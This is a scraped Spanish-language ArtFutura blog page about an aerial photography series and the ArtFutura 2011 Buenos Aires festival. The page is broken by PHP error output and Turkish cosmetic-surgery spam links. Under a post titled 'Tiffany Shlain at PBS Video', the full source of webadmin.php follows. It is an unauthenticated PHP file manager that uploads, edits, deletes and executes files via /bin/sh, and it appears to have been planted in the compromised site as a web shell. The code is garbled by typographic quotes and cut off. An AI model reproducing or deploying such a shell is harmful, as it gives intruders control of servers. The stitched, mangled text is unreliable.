Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-settings.php on line 512 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-settings.php on line 527 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-settings.php on line 534 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-settings.php on line 570 Strict Standards: Declaration of Walker_Page::start_lvl() should be compatible with Walker::start_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1199 Strict Standards: Declaration of Walker_Page::end_lvl() should be compatible with Walker::end_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1199 Strict Standards: Declaration of Walker_Page::start_el() should be compatible with Walker::start_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1199 Strict Standards: Declaration of Walker_Page::end_el() should be compatible with Walker::end_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1199 Strict Standards: Declaration of Walker_PageDropdown::start_el() should be compatible with Walker::start_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1244 Strict Standards: Declaration of Walker_Category::start_lvl() should be compatible with Walker::start_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1391 Strict Standards: Declaration of Walker_Category::end_lvl() should be compatible with Walker::end_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1391 Strict Standards: Declaration of Walker_Category::start_el() should be compatible with Walker::start_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1391 Strict Standards: Declaration of Walker_Category::end_el() should be compatible with Walker::end_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1391 Strict Standards: Declaration of Walker_CategoryDropdown::start_el() should be compatible with Walker::start_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/classes.php on line 1442 Strict Standards: Redefining already defined constructor for class wpdb in /usr/home/artfutura.org/web/v2/blog/wp-includes/wp-db.php on line 306 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-includes/cache.php on line 103 Strict Standards: Redefining already defined constructor for class WP_Object_Cache in /usr/home/artfutura.org/web/v2/blog/wp-includes/cache.php on line 431 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-includes/query.php on line 61 Deprecated: Assigning the return value of new by reference is deprecated in /usr/home/artfutura.org/web/v2/blog/wp-includes/theme.php on line 1109 Strict Standards: Declaration of Walker_Comment::start_lvl() should be compatible with Walker::start_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/comment-template.php on line 1266 Strict Standards: Declaration of Walker_Comment::end_lvl() should be compatible with Walker::end_lvl(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/comment-template.php on line 1266 Strict Standards: Declaration of Walker_Comment::start_el() should be compatible with Walker::start_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/comment-template.php on line 1266 Strict Standards: Declaration of Walker_Comment::end_el() should be compatible with Walker::end_el(&$output) in /usr/home/artfutura.org/web/v2/blog/wp-includes/comment-template.php on line 1266 Strict Standards: Redefining already defined constructor for class WP_Dependencies in /usr/home/artfutura.org/web/v2/blog/wp-includes/class.wp-dependencies.php on line 31 Strict Standards: Redefining already defined constructor for class WP_Http in /usr/home/artfutura.org/web/v2/blog/wp-includes/http.php on line 61 Warning: Cannot modify header information - headers already sent by (output started at /usr/home/artfutura.org/web/v2/blog/wp-includes/class.wp-dependencies.php:31) in /usr/home/artfutura.org/web/v2/blog/wp-content/plugins/langswitch.php on line 543 Artfutura :: BlogFutura
null

Archivos - ‘General’

Industrial Scars

10 Enero 2012, 13:35

industrial-scars1
industrial-scars-21
industrial-scars-31

Meme Büyütme Ameliyatı
Burun Estetiği Ankara
Botoks İstanbul

Parecen cuadros expresionistas, pero en realidad son ejemplos de desastres ecológicos. El fotógrafo estadounidense J. Henry Feria publica en su web, fotos aéreas que muestran la “belleza” de la devastación causada por el medio ambiente.

Reunidos en “Industrial Scars”, la contaminación es expuesta a gran escala, con vivos colores que transforman un paisaje destruido en un espectáculo de formas y texturas. Con su trabajo, el fotógrafo neoyorquino Henry Feria, trata de mostrar la destrucción del medio ambiente a través de la belleza de las imágenes.

Más imágenes en: Industrial Scars.

ArtFutura 2011 Buenos Aires

24 Noviembre 2011, 12:32

Primera parte del capítulo emitido el sábado 12 de noviembre de 2011 por el canal CN23 de Argentina. Entrevista con Miguel Fuertes, sobre su participación en ArtFutura 2011 Buenos Aires y su trabajo con el director argentino Juan José Campanella.

ArtFutura 2011 Buenos Aires

19 Noviembre 2011, 14:21

malba

El diario Clarín de Argentina escribe en su sección cultural sobre la reciente edición de ArtFutura 2011 en Buenos Aires. Transcribimos:

“Sobre las potencialidades del mundo digital”
“Los tres invitados internacionales a la edición de Artfutura culminada el domingo último comentan para Ñ Digital lo que reflejarían sus conferencias para ese festival de cultura y creatividad digital.

Cada uno en lo suyo, los tres son peces gordos. Dos españoles nativos y un argentino emigrado definitivamente a Barcelona poco después de su adolescencia, descollan todos ellos en el más alto nivel internacional en sus especialidades. El arquitecto catalán Enric Ruiz-Geli, premiado dos semanas atrás como autor del mejor edificio del mundo en 2011, el madrileño Miguel Fuertes, supervisor de animación, director y colaborador decisivo en producciones como La guerra de las galaxias Episodio 1, Jurassic Park, Hombres de negro y Hulk, entre muchas, y Lucas Elliot, el productor ejecutivo y co-director argentino de Boolab, que desde hace años figura entre las dos o tres únicas empresas latinas que compiten de igual a igual con las británicas y norteamericanas top en el rubro del graphic motion, vinieron a ArtFutura 2011 para compartir con el público local mucho de lo que conocen al dedillo en sus tareas. Charlaron sobre lo suyo con Ñ Digital durante el transcurso de la inauguración del festival, en el galpón del Espacio Joven de Tecnópolis (ver video).

Peces gordos, sí, a todas luces, pero ni mucho menos los representantes nacionales convocados por ArtFutura fueron mojarritas. Remitámonos a las pruebas: sobre Robótica e Inteligencia Artificial expusieron el ministro de Ciencia, Tecnología e Innovación Productiva Lino Barañao, el Dr. Diego Fernández Slezak y Leo Núñez (coordinó Patricia Saragüeta); la gente de PepperMelon (¿te suena Mamá Luchetti?) tuvo a cargo otra de las conferencias principales y Ricardo Liniers y Antonio Balseiro hablaron sobre la producción de Liniers Animado (La doble A + Gazz + Liniers)”.

Puedes leer el artículo completo en: Clarín.

Tiffany Shlain at PBS Video

9 Noviembre 2011, 12:24

/*
* webadmin.php - a simple Web-based file manager
* Copyright (C) 2004 Daniel Wacker
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* ————————————————————————-
* While using this script, do NOT navigate with your browser’s back and
* forward buttons! Always open files in a new browser tab!
* ————————————————————————-
*
* This is Version 0.9, revision 10
* =========================================================================
*
* Changes of revision 10
*
* added Russian translation
*
* added

to achieve valid XHTML (thanks to Marc Magos)
* improved delete function
*
* new list order: folders first
*
* Changes of revision 9
*
* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
*
* added Turkish translation
*
* added Czech translation
*
* improved charset handling
*
* Changes of revision 7
*
* added Spanish translation
*
* added Danish translation
*
* improved rename dialog
*
* Changes of revision 6
*
* added Dutch translation
*
* Changes of revision 5
*
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
*
* added French translation
*
* added Swedish translation
*
* Changes of revision 3
*
* improved Italian translation
*
* Changes of revision 2
*
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word ‘not_created’
*
* improved human readability of file sizes
*
* added Italian translation
*
* Changes of revision 1
*
* webadmin.php completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - webadmin.php is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */

/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'ru' - Russian
* 'auto' - autoselect
*/
$lang = 'auto';

/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';

/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';

/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
* Optional configuration (remove # to enable)
*/

/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;

/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;

/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
function lstat ($filename) {
return stat($filename);
}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
$files[] = $_POST["file$i"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit$i", $_POST)) break;
}
if ($i < $_POST['num']) {
$action = $_POST["action$i"];
$files[] = $_POST["file$i"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = ‘en’;
}
}

$words = getwords($lang);

if ($site_charset == ‘auto’) {
$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
$dirpermission = (function_exists(’umask’)) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists(’umask’)) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = ”;
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == ‘apache’) {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}

switch ($action) {

case ‘view’:

if (is_script($file)) {

/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace(’‘, ‘‘, ob_get_contents());
$src = str_replace(array(’
‘, “\r”, “\n”), array(’‘, ”, ”), $src);
ob_end_clean();

html_header();
echo ‘

‘ . html($file) . ‘


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '
' . $src . '

‘;

html_footer();

} else {

header(’Content-Type: ‘ . getmimetype($file));
header(’Content-Disposition: filename=’ . basename($file));

readfile($file);

}

break;

case ‘download’:

header(’Pragma: public’);
header(’Expires: 0′);
header(’Cache-Control: must-revalidate, post-check=0, pre-check=0′);
header(’Content-Type: ‘ . getmimetype($file));
header(’Content-Disposition: attachment; filename=’ . basename($file) . ‘;’);
header(’Content-Length: ‘ . filesize($file));

readfile($file);

break;

case ‘upload’:

$dest = relative2absolute($file['name'], $directory);

if (@file_exists($dest)) {
listing_page(error(’already_exists’, $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice(’uploaded’, $file['name']));
} else {
listing_page(error(’not_uploaded’, $file['name']));
}

break;

case ‘create_directory’:

if (@file_exists($file)) {
listing_page(error(’already_exists’, $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice(’created’, $file));
} else {
listing_page(error(’not_created’, $file));
}
@umask($old);
}

break;

case ‘create_file’:

if (@file_exists($file)) {
listing_page(error(’already_exists’, $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error(’not_created’, $file));
}
@umask($old);
}

break;

case ‘execute’:

chdir(dirname($file));

$output = array();
$retval = 0;
exec(’echo “./’ . basename($file) . ‘” | /bin/sh’, $output, $retval);

$error = ($retval == 0) ? false : true;

if (sizeof($output) == 0) $output = array(’<' . $words['no_output'] . '>‘);

if ($error) {
listing_page(error(’not_executed’, $file, implode(”\n”, $output)));
} else {
listing_page(notice(’executed’, $file, implode(”\n”, $output)));
}

break;

case ‘delete’:

if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {

$failure = array();
$success = array();

foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = ”;
if (sizeof($failure) > 0) {
$message = error(’not_deleted’, implode(”\n”, $failure));
}
if (sizeof($success) > 0) {
$message .= notice(’deleted’, implode(”\n”, $success));
}

listing_page($message);

} else {

html_header();

echo ‘

‘;

request_dump();

echo “\t” . word(’really_delete’) . ‘

‘;

foreach ($files as $file) {
echo “\t” . html($file) . “
\n”;
}

echo ‘


‘;

html_footer();

}

break;

case ‘rename’:

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice(’renamed’, $file, $dest));
} else {
listing_page(error(’not_renamed’, $file, $dest));
}

} else {

$name = basename($file);

html_header();

echo ‘

‘ . word(’rename_file’) . ‘

‘ . html($file) . ‘

‘ . substr($file, 0, strlen($file) - strlen($name)) . ‘


[ ' . word('back') . ' ]

‘;

html_footer();

}

break;

case ‘move’:

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

$failure = array();
$success = array();

foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = ”;
if (sizeof($failure) > 0) {
$message = error(’not_moved’, implode(”\n”, $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice(’moved’, implode(”\n”, $success), $dest);
}

listing_page($message);

} else {

html_header();

echo ‘

‘;

request_dump();

echo “\t” . word(’move_files’) . ‘

‘;

foreach ($files as $file) {
echo “\t” . html($file) . “
\n”;
}

echo ‘


‘ . word(’destination’) . ‘:

[ ' . word('back') . ' ]

‘;

html_footer();

}

break;

case ‘copy’:

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (@is_dir($dest)) {

$failure = array();
$success = array();

foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = ”;
if (sizeof($failure) > 0) {
$message = error(’not_copied’, implode(”\n”, $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice(’copied’, implode(”\n”, $success), $dest);
}

listing_page($message);

} else {

if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice(’copied’, $file, $dest));
} else {
listing_page(error(’not_copied’, $file, $dest));
}

}

} else {

html_header();

echo ‘

‘;

request_dump();

echo “\n” . word(’copy_files’) . ‘

‘;

foreach ($files as $file) {
echo “\t” . html($file) . “
\n”;
}

echo ‘


‘ . word(’destination’) . ‘:

[ ' . word('back') . ' ]

‘;

html_footer();

}

break;

case ‘create_symlink’:

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice(’symlinked’, $file, $dest));
} else {
listing_page(error(’not_symlinked’, $file, $dest));
}

} else {

html_header();

echo ‘

[ ' . word('back') . ' ]

‘;

html_footer();

}

break;

case ‘edit’:

if (!empty($_POST['save'])) {

$content = str_replace(”\r\n”, “\n”, $_POST['content']);

if (($f = @fopen($file, ‘w’)) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice(’saved’, $file));
} else {
listing_page(error(’not_saved’, $file));
}

} else {

if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error(’not_edited’, $file));
}

}

break;

case ‘permission’:

if (!empty($_POST['set'])) {

$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

if (@chmod($file, $mode)) {
listing_page(notice(’permission_set’, $file, decoct($mode)));
} else {
listing_page(error(’permission_not_set’, $file, decoct($mode)));
}

} else {

html_header();

$mode = fileperms($file);

echo ‘

‘ . phrase(’permission_for’, $file) . ‘


‘ . word(’owner’) . ‘ ‘ . word(’group’) . ‘ ‘ . word(’other’) . ‘
‘ . word(’read’) . ‘:
‘ . word(’write’) . ‘:
‘ . word(’execute’) . ‘:

[ ' . word('back') . ' ]

‘;

html_footer();

}

break;

default:

listing_page();

}

/* ————————————————————————- */

function getlist ($directory) {
global $delim, $win;

if ($d = @opendir($directory)) {

while (($filename = @readdir($d)) !== false) {

$path = $directory . $filename;

if ($stat = @lstat($path)) {

$file = array(
‘filename’ => $filename,
‘path’ => $path,
‘is_file’ => @is_file($path),
‘is_dir’ => @is_dir($path),
‘is_link’ => @is_link($path),
‘is_readable’ => @is_readable($path),
‘is_writable’ => @is_writable($path),
’size’ => $stat['size'],
‘permission’ => $stat['mode'],
‘owner’ => $stat['uid'],
‘group’ => $stat['gid'],
‘mtime’ => @filemtime($path),
‘atime’ => @fileatime($path),
‘ctime’ => @filectime($path)
);

if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . ‘.’);
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}

if ($file['is_link']) $file['target'] = @readlink($path);

if (function_exists(’posix_getpwuid’)) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (function_exists(’posix_getgrgid’)) $file['group_name'] = @reset(posix_getgrgid($file['group']));

$files[] = $file;

}

}

return $files;

} else {
return false;
}

}

function sortlist ($list, $key, $reverse) {

$dirs = array();
$files = array();

for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i]['is_dir']) $dirs[] = $list[$i];
else $files[] = $list[$i];
}

quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) $dirs = array_reverse($dirs);

quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) $files = array_reverse($files);

return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

if ($first < $last) {

$cmp = $array[floor(($first + $last) / 2)][$key];

$l = $first;
$r = $last;

while ($l <= $r) {

while ($array[$l][$key] < $cmp) $l++;
while ($array[$r][$key] > $cmp) $r–;

if ($l <= $r) {

$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;

$l++;
$r--;

}

}

quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);

}

}

function permission_octal2string ($mode) {

if (($mode & 0xC000) === 0xC000) {
$type = 's';
} elseif (($mode & 0xA000) === 0xA000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}

$owner = ($mode & 00400) ? 'r' : '-';
$owner .= ($mode & 00200) ? 'w' : '-';
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? 's' : 'S';
} else {
$owner .= ($mode & 00100) ? 'x' : '-';
}

$group = ($mode & 00040) ? 'r' : '-';
$group .= ($mode & 00020) ? 'w' : '-';
if ($mode & 0x400) {
$group .= ($mode & 00010) ? 's' : 'S';
} else {
$group .= ($mode & 00010) ? 'x' : '-';
}

$other = ($mode & 00004) ? 'r' : '-';
$other .= ($mode & 00002) ? 'w' : '-';
if ($mode & 0x200) {
$other .= ($mode & 00001) ? 't' : 'T';
} else {
$other .= ($mode & 00001) ? 'x' : '-';
}

return $type . $owner . $group . $other;

}

function is_script ($filename) {
return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
static $mimes = array(
'\.jpg$|\.jpeg$' => ‘image/jpeg’,
‘\.gif$’ => ‘image/gif’,
‘\.png$’ => ‘image/png’,
‘\.html$|\.html$’ => ‘text/html’,
‘\.txt$|\.asc$’ => ‘text/plain’,
‘\.xml$|\.xsl$’ => ‘application/xml’,
‘\.pdf$’ => ‘application/pdf’
);

foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}

// return ‘application/octet-stream’;
return ‘text/plain’;

}

function del ($file) {
global $delim;

if (!file_exists($file)) return false;

if (@is_dir($file) && !@is_link($file)) {

$success = false;

if (@rmdir($file)) {

$success = true;

} elseif ($dir = @opendir($file)) {

$success = true;

while (($f = readdir($dir)) !== false) {
if ($f != ‘.’ && $f != ‘..’ && !del($file . $delim . $f)) {
$success = false;
}
}
closedir($dir);

if ($success) $success = @rmdir($file);

}

return $success;

}

return @unlink($file);

}

function addslash ($directory) {
global $delim;

if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}

}

function relative2absolute ($string, $directory) {

if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}

}

function path_is_relative ($path) {
global $win;

if ($win) {
return (substr($path, 1, 1) != ‘:’);
} else {
return (substr($path, 0, 1) != ‘/’);
}

}

function absolute2relative ($directory, $target) {
global $delim;

$path = ”;
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= ‘..’ . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == ”) $path = ‘.’;

return $path;

}

function simplify_path ($path) {
global $delim;

if (@file_exists($path) && function_exists(’realpath’) && @realpath($path) != ”) {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}

$pattern = $delim . ‘.’ . $delim;

if (@is_dir($path)) {
$path = addslash($path);
}

while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}

$e = addslashes($delim);
$regex = $e . ‘((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))’ . $e . ‘\.\.’ . $e;

while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}

return $path;

}

function human_filesize ($filesize) {

$suffices = ‘kMGTPE’;

$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}

$filesize = round($filesize, 3 - strpos($filesize, ‘.’));

if (strpos($filesize, ‘.’) !== false) {
while (in_array(substr($filesize, -1, 1), array(’0′, ‘.’))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}

$suffix = (($n == 0) ? ” : substr($suffices, $n - 1, 1));

return $filesize . ” {$suffix}B”;

}

function strip (&$str) {
$str = stripslashes($str);
}

/* ————————————————————————- */

function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;

html_header();

$list = getlist($directory);

if (array_key_exists(’sort’, $_GET)) $sort = $_GET['sort']; else $sort = ‘filename’;
if (array_key_exists(’reverse’, $_GET) && $_GET['reverse'] == ‘true’) $reverse = true; else $reverse = false;

$list = sortlist($list, $sort, $reverse);

echo ‘

webadmin.php

‘;

directory_choice();

if (!empty($message)) {
spacer();
echo $message;
}

if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}

if ($list) {
listing($list);
} else {
echo error(’not_readable’, $directory);
}

echo ‘

‘;

html_footer();

}

function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

echo ‘
smiley

‘;

column_title(’filename’, $sort, $reverse);
column_title(’size’, $sort, $reverse);

if (!$win) {
column_title(’permission’, $sort, $reverse);
column_title(’owner’, $sort, $reverse);
column_title(’group’, $sort, $reverse);
}

echo ‘ ‘ . word(’functions’) . ‘

‘;

for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];

$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

echo '
‘;

if ($file['is_link']) {

echo ‘link ‘;
echo html($file['filename']) . ‘ → ‘;

$real_file = relative2absolute($file['target'], $directory);

if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo ‘[ ' . html($file['target']) . ‘ ]’;
} else {
echo ‘‘ . html($file['target']) . ‘‘;
}
} else {
echo html($file['target']);
}

} elseif ($file['is_dir']) {

echo ‘folder [ ';
if ($win || $file['is_executable']) {
echo ‘‘ . html($file['filename']) . ‘‘;
} else {
echo html($file['filename']);
}
echo ‘ ]’;

} else {

if (substr($file['filename'], 0, 1) == ‘.’) {
echo ‘hidden file ‘;
} else {
echo ‘file ‘;
}

if ($file['is_file'] && $file['is_readable']) {
echo ‘‘ . html($file['filename']) . ‘‘;
} else {
echo html($file['filename']);
}

}

if ($file['size'] >= 1000) {
$human = ‘ title=”‘ . human_filesize($file['size']) . ‘”‘;
} else {
$human = ”;
}

echo “

\n”;

echo “\t {$file['size']} B

\n”;

if (!$win) {

echo “\t ‘;

$l = !$file['is_link'] && (!function_exists(’posix_getuid’) || $file['owner'] == posix_getuid());
if ($l) echo ‘‘;
echo html(permission_octal2string($file['permission']));
if ($l) echo ‘
‘;

echo “

\n”;

if (array_key_exists(’owner_name’, $file)) {
echo “\t {$file['owner_name']}

\n”;
} else {
echo “\t {$file['owner']}

\n”;
}

if (array_key_exists(’group_name’, $file)) {
echo “\t {$file['group_name']}

\n”;
} else {
echo “\t {$file['group']}

\n”;
}

}

echo ‘ ‘;

$actions = array();
if (function_exists(’symlink’)) {
$actions[] = ‘create_symlink’;
}
if (@is_writable(dirname($file['path']))) {
$actions[] = ‘delete’;
$actions[] = ‘rename’;
$actions[] = ‘move’;
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = ‘copy’;
$actions[] = ‘download’;
if ($file['is_writable']) $actions[] = ‘edit’;
}
if (!$win && function_exists(’exec’) && $file['is_file'] && $file['is_executable'] && file_exists(’/bin/sh’)) {
$actions[] = ‘execute’;
}

if (sizeof($actions) > 0) {

echo ‘
‘;

}

echo ‘

‘;

}

echo ‘
> ‘;

$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = ‘delete’;
$actions[] = ‘move’;
}
$actions[] = ‘copy’;

echo ‘

‘;

}

function column_title ($column, $sort, $reverse) {
global $self, $directory;

$d = ‘dir=’ . urlencode($directory) . ‘&’;

if ($sort == $column) {
if (!$reverse) {
$r = ‘&reverse=true’;
$arr = ‘ ∧’;
} else {
$arr = ‘ ∨’;
}
} else {
